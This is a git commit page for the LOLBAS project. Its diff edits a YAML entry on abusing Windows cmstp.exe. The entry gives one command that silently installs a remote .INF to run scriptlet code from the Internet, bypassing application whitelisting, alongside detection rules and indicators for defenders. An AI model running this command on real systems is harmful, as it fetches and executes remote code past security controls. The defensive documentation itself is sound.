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Merge remote-tracking branch 'upstream/master' into windows_11_sprint

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This commit is contained in:
Wietze
2022-10-03 16:16:30 +01:00
parent e1df4e9f83 da38f3d8ed
commit 67e1040172
176 changed files with 502 additions and 341 deletions
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21
yml/OSBinaries/Cmstp.yml
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@@ -14,24 +14,22 @@ Commands:
- Command: cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
Description: Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
Usecase: Execute code hidden within an inf file. Execute code directly from Internet.
Category: AwL bypass
Category: AWL Bypass
Privileges: User
MitreID: T1218.003
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Full_Path:
- Path: C:\Windows\System32\cmstp.exe
- Path: C:\Windows\SysWOW64\cmstp.exe
Code_Sample:
- Code:
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/6d0d58dfe240f7ef46e7da928c0b65223a46c3b2/rules/windows/process_creation/sysmon_cmstp_execution_by_creation.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_uac_cmstp.yml
- Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/cmlua_or_cmstplua_uac_bypass.yml
- Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
- IOC: Execution of cmstp.exe without a VPN use case is suspicious
- IOC: DotNet CLR libraries loaded into cmstp.exe
- IOC: DotNet CLR Usage Log - cmstp.exe.log
- Sigma: https://github.com/SigmaHQ/sigma/blob/6d0d58dfe240f7ef46e7da928c0b65223a46c3b2/rules/windows/process_creation/sysmon_cmstp_execution_by_creation.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_uac_cmstp.yml
- Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/cmlua_or_cmstplua_uac_bypass.yml
- Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
- IOC: Execution of cmstp.exe without a VPN use case is suspicious
- IOC: DotNet CLR libraries loaded into cmstp.exe
- IOC: DotNet CLR Usage Log - cmstp.exe.log
Resources:
- Link: https://twitter.com/NickTyrer/status/958450014111633408
- Link: https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
@@ -44,4 +42,3 @@ Acknowledgement:
Handle: '@oddvarmoe'
- Person: Nick Tyrer
Handle: '@NickTyrer'
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